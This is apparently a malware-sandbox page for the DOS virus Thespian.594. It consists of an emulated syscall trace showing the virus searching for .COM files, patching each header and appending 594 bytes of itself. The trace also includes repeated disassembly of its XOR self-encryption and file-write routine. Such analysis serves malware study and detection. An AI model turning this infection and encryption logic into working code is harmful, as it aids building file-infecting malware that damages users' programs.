Sample viewer

vx.netlux.org/Virus.DOS.VCC.Thespian.594

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:02:42.028887021Z 26 PC: 12a64 | Set disk transfer address
2018-12-17T23:02:42.030682655Z 78 PC: 12a78 | Find first file
2018-12-17T23:02:42.038847806Z 61 PC: 12c26 | Open file (Filename = 'SLEEP.COM')
2018-12-17T23:02:42.047606102Z 63 PC: 12c35 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:02:42.055150838Z 66 PC: 12c44 | Move file pointer
2018-12-17T23:02:42.061804739Z 66 PC: 12c53 | Move file pointer
2018-12-17T23:02:42.063970349Z 64 PC: 12c5f | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:02:42.06737729Z 66 PC: 12c6b | Move file pointer
2018-12-17T23:02:42.070619101Z 44 PC: 12c6f | Get time 0x12c6f: mov byte ptr [bp + 0x252], dl
0x12c73: call 0x12c89
0x12c76: mov ah, 0x40
0x12c78: mov cx, 0x252
0x12c7b: lea dx, word ptr [bp + 6]
0x12c7f: int 0x21
0x12c81: call 0x12c89
0x12c84: mov ah, 0x3e
0x12c86: int 0x21
0x12c88: ret
0x12c89: lea si, word ptr [bp + 0x11]
0x12c8d: mov cx, 0x222
0x12c90: xor byte ptr [si], 0
0x12c93: inc si
0x12c94: dec cx
0x12c95: jne 0x12c90
0x12c97: ret
0x12c98: add word ptr [bx], di
0x12c9a: aas
0x12c9b: aas
2018-12-17T23:02:42.074012196Z 64 PC: 12c81 | Write file or device (Write 594 bytes on handle 5)
2018-12-17T23:02:42.091397181Z 62 PC: 12c88 | Close file
2018-12-17T23:02:42.100447225Z 79 PC: 12a78 | Find next file
2018-12-17T23:02:42.105246963Z 61 PC: 12c26 | Open file (Filename = 'PRINT.COM')
2018-12-17T23:02:42.113917163Z 63 PC: 12c35 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:02:42.122010099Z 66 PC: 12c44 | Move file pointer
2018-12-17T23:02:42.125256769Z 66 PC: 12c53 | Move file pointer
2018-12-17T23:02:42.127385238Z 64 PC: 12c5f | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:02:42.132268073Z 66 PC: 12c6b | Move file pointer
2018-12-17T23:02:42.135279521Z 44 PC: 12c6f | Get time 0x12c6f: mov byte ptr [bp + 0x252], dl
0x12c73: call 0x12c89
0x12c76: mov ah, 0x40
0x12c78: mov cx, 0x252
0x12c7b: lea dx, word ptr [bp + 6]
0x12c7f: int 0x21
0x12c81: call 0x12c89
0x12c84: mov ah, 0x3e
0x12c86: int 0x21
0x12c88: ret
0x12c89: lea si, word ptr [bp + 0x11]
0x12c8d: mov cx, 0x222
0x12c90: xor byte ptr [si], 0x46
0x12c93: inc si
0x12c94: dec cx
0x12c95: jne 0x12c90
0x12c97: ret
0x12c98: add word ptr [bx], di
0x12c9a: aas
0x12c9b: aas
2018-12-17T23:02:42.138453644Z 64 PC: 12c81 | Write file or device (Write 594 bytes on handle 5)
2018-12-17T23:02:42.147599068Z 62 PC: 12c88 | Close file
2018-12-17T23:02:42.157357503Z 79 PC: 12a78 | Find next file
2018-12-17T23:02:42.160457758Z 61 PC: 12c26 | Open file (Filename = 'HELLO.COM')
2018-12-17T23:02:42.167591111Z 63 PC: 12c35 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:02:42.175166413Z 66 PC: 12c44 | Move file pointer
2018-12-17T23:02:42.177130103Z 66 PC: 12c53 | Move file pointer
2018-12-17T23:02:42.178726733Z 64 PC: 12c5f | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:02:42.181699759Z 66 PC: 12c6b | Move file pointer
2018-12-17T23:02:42.185694465Z 44 PC: 12c6f | Get time 0x12c6f: mov byte ptr [bp + 0x252], dl
0x12c73: call 0x12c89
0x12c76: mov ah, 0x40
0x12c78: mov cx, 0x252
0x12c7b: lea dx, word ptr [bp + 6]
0x12c7f: int 0x21
0x12c81: call 0x12c89
0x12c84: mov ah, 0x3e
0x12c86: int 0x21
0x12c88: ret
0x12c89: lea si, word ptr [bp + 0x11]
0x12c8d: mov cx, 0x222
0x12c90: xor byte ptr [si], 0x4b
0x12c93: inc si
0x12c94: dec cx
0x12c95: jne 0x12c90
0x12c97: ret
0x12c98: add word ptr [bx], di
0x12c9a: aas
0x12c9b: aas
2018-12-17T23:02:42.188783438Z 64 PC: 12c81 | Write file or device (Write 594 bytes on handle 5)
2018-12-17T23:02:42.197729337Z 62 PC: 12c88 | Close file
2018-12-17T23:02:42.208525412Z 79 PC: 12a78 | Find next file
2018-12-17T23:02:42.212097062Z 61 PC: 12c26 | Open file (Filename = 'PHANG.COM')
2018-12-17T23:02:42.219697763Z 63 PC: 12c35 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:02:42.228225085Z 66 PC: 12c44 | Move file pointer
2018-12-17T23:02:42.230895112Z 66 PC: 12c53 | Move file pointer
2018-12-17T23:02:42.23261314Z 64 PC: 12c5f | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:02:42.235526223Z 66 PC: 12c6b | Move file pointer
2018-12-17T23:02:42.237037012Z 44 PC: 12c6f | Get time 0x12c6f: mov byte ptr [bp + 0x252], dl
0x12c73: call 0x12c89
0x12c76: mov ah, 0x40
0x12c78: mov cx, 0x252
0x12c7b: lea dx, word ptr [bp + 6]
0x12c7f: int 0x21
0x12c81: call 0x12c89
0x12c84: mov ah, 0x3e
0x12c86: int 0x21
0x12c88: ret
0x12c89: lea si, word ptr [bp + 0x11]
0x12c8d: mov cx, 0x222
0x12c90: xor byte ptr [si], 0x4b
0x12c93: inc si
0x12c94: dec cx
0x12c95: jne 0x12c90
0x12c97: ret
0x12c98: add word ptr [bx], di
0x12c9a: aas
0x12c9b: aas
2018-12-17T23:02:42.239755289Z 64 PC: 12c81 | Write file or device (Write 594 bytes on handle 5)
2018-12-17T23:02:42.24895843Z 62 PC: 12c88 | Close file
2018-12-17T23:02:42.258465032Z 79 PC: 12a78 | Find next file
2018-12-17T23:02:42.26130028Z 61 PC: 12c26 | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T23:02:42.268433522Z 63 PC: 12c35 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:02:42.276991873Z 66 PC: 12c44 | Move file pointer
2018-12-17T23:02:42.279073955Z 66 PC: 12c53 | Move file pointer
2018-12-17T23:02:42.28104626Z 64 PC: 12c5f | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:02:42.286196217Z 66 PC: 12c6b | Move file pointer
2018-12-17T23:02:42.28879007Z 44 PC: 12c6f | Get time 0x12c6f: mov byte ptr [bp + 0x252], dl
0x12c73: call 0x12c89
0x12c76: mov ah, 0x40
0x12c78: mov cx, 0x252
0x12c7b: lea dx, word ptr [bp + 6]
0x12c7f: int 0x21
0x12c81: call 0x12c89
0x12c84: mov ah, 0x3e
0x12c86: int 0x21
0x12c88: ret
0x12c89: lea si, word ptr [bp + 0x11]
0x12c8d: mov cx, 0x222
0x12c90: xor byte ptr [si], 0x51
0x12c93: inc si
0x12c94: dec cx
0x12c95: jne 0x12c90
0x12c97: ret
0x12c98: add word ptr [bx], di
0x12c9a: aas
0x12c9b: aas
2018-12-17T23:02:42.291820063Z 64 PC: 12c81 | Write file or device (Write 594 bytes on handle 5)
2018-12-17T23:02:42.301994058Z 62 PC: 12c88 | Close file
2018-12-17T23:02:42.311396625Z 79 PC: 12a78 | Find next file
2018-12-17T23:02:42.318317008Z 61 PC: 12c26 | Open file (Filename = 'MANDEL.COM')
2018-12-17T23:02:42.327051729Z 63 PC: 12c35 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:02:42.334315818Z 66 PC: 12c44 | Move file pointer
2018-12-17T23:02:42.336296389Z 66 PC: 12c53 | Move file pointer
2018-12-17T23:02:42.338216607Z 64 PC: 12c5f | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:02:42.342969337Z 66 PC: 12c6b | Move file pointer
2018-12-17T23:02:42.344991517Z 44 PC: 12c6f | Get time 0x12c6f: mov byte ptr [bp + 0x252], dl
0x12c73: call 0x12c89
0x12c76: mov ah, 0x40
0x12c78: mov cx, 0x252
0x12c7b: lea dx, word ptr [bp + 6]
0x12c7f: int 0x21
0x12c81: call 0x12c89
0x12c84: mov ah, 0x3e
0x12c86: int 0x21
0x12c88: ret
0x12c89: lea si, word ptr [bp + 0x11]
0x12c8d: mov cx, 0x222
0x12c90: xor byte ptr [si], 0x56
0x12c93: inc si
0x12c94: dec cx
0x12c95: jne 0x12c90
0x12c97: ret
0x12c98: add word ptr [bx], di
0x12c9a: aas
0x12c9b: aas
2018-12-17T23:02:42.347835831Z 64 PC: 12c81 | Write file or device (Write 594 bytes on handle 5)
2018-12-17T23:02:42.361816138Z 62 PC: 12c88 | Close file
2018-12-17T23:02:42.374639171Z 79 PC: 12a78 | Find next file
2018-12-17T23:02:42.377519112Z 61 PC: 12c26 | Open file (Filename = 'PAH.COM')
2018-12-17T23:02:42.385338654Z 63 PC: 12c35 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:02:42.392269436Z 66 PC: 12c44 | Move file pointer
2018-12-17T23:02:42.393972105Z 66 PC: 12c53 | Move file pointer
2018-12-17T23:02:42.396363008Z 64 PC: 12c5f | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:02:42.399301569Z 66 PC: 12c6b | Move file pointer
2018-12-17T23:02:42.400860859Z 44 PC: 12c6f | Get time 0x12c6f: mov byte ptr [bp + 0x252], dl
0x12c73: call 0x12c89
0x12c76: mov ah, 0x40
0x12c78: mov cx, 0x252
0x12c7b: lea dx, word ptr [bp + 6]
0x12c7f: int 0x21
0x12c81: call 0x12c89
0x12c84: mov ah, 0x3e
0x12c86: int 0x21
0x12c88: ret
0x12c89: lea si, word ptr [bp + 0x11]
0x12c8d: mov cx, 0x222
0x12c90: xor byte ptr [si], 0x5c
0x12c93: inc si
0x12c94: dec cx
0x12c95: jne 0x12c90
0x12c97: ret
0x12c98: add word ptr [bx], di
0x12c9a: aas
0x12c9b: aas
2018-12-17T23:02:42.403669306Z 64 PC: 12c81 | Write file or device (Write 594 bytes on handle 5)
2018-12-17T23:02:42.413426258Z 62 PC: 12c88 | Close file
2018-12-17T23:02:42.423133677Z 79 PC: 12a78 | Find next file
2018-12-17T23:02:42.426490624Z 61 PC: 12c26 | Open file (Filename = 'TEST.COM')
2018-12-17T23:02:42.434666385Z 63 PC: 12c35 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:02:42.438009316Z 62 PC: 12c88 | Close file
2018-12-17T23:02:42.439925958Z 79 PC: 12a78 | Find next file
2018-12-17T23:02:42.443872402Z 26 PC: 12a88 | Set disk transfer address
2018-12-17T23:02:42.445677975Z 9 PC: 12aa6 | Display string (Could not find end pointer)